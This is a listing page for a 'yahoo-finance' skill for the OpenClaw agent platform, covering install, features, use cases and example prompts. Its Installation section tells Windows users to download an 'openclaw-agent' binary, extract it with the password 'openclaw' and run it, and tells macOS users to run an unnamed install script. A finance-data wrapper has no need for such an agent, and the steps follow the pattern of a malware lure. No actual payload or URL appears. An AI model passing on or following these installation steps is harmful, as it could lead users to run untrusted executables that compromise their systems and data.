Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/yahoo-finance-uelhrWhat This Skill Does
The yahoo-finance skill for OpenClaw is a powerful utility designed to bridge the gap between market data and automated workflows. By leveraging the industry-standard yfinance library, this skill allows users to fetch real-time and historical financial information directly within their agent-driven environment. Whether you need to track stock performance, analyze complex financial statements, or monitor cryptocurrency volatility, this tool provides programmatic access to comprehensive market data. It handles ticker data, market indices, corporate financials, and historical time-series data, making it an essential component for any user engaged in algorithmic analysis or financial monitoring.
Installation
Installation requires two distinct steps to ensure full functionality. First, install the Python dependency using: pip install yfinance. Second, you must ensure the openclaw-agent utility is running on your machine. For Windows users, download the agent from the official GitHub repository, extract the contents using the password 'openclaw', and execute the binary. For macOS users, execute the provided installation script in your terminal to configure the environment. Without the background agent, the skill will be unable to interface correctly with market data endpoints.
Use Cases
This skill is ideal for financial professionals, individual investors, and developers building automated trading bots. Use it to generate daily reports on stock price movements, compare quarterly income statements across sectors, or create visual dashboards using exported CSV files. It also excels at monitoring cryptocurrency assets and retrieving historical pricing data for quantitative research or technical analysis projects.
Example Prompts
- "Check the current stock price and P/E ratio for AAPL and MSFT, then compare their performance over the last 6 months."
- "Download the latest 1 year of daily historical data for TSLA and save it to a CSV file named tesla_data.csv."
- "Fetch the latest income statement for Google and display the key financial metrics for my quarterly report."
Tips & Limitations
Note that Yahoo Finance data is intended for personal and educational use; always verify critical trades with official financial platforms. The skill's performance is dependent on your internet connection and the responsiveness of Yahoo's API endpoints. When fetching large historical datasets, ensure you define clear intervals to avoid timeout issues. Keep your environment updated, as changes to the underlying yfinance library or the Yahoo Finance web structure may occasionally require updates to your installation.
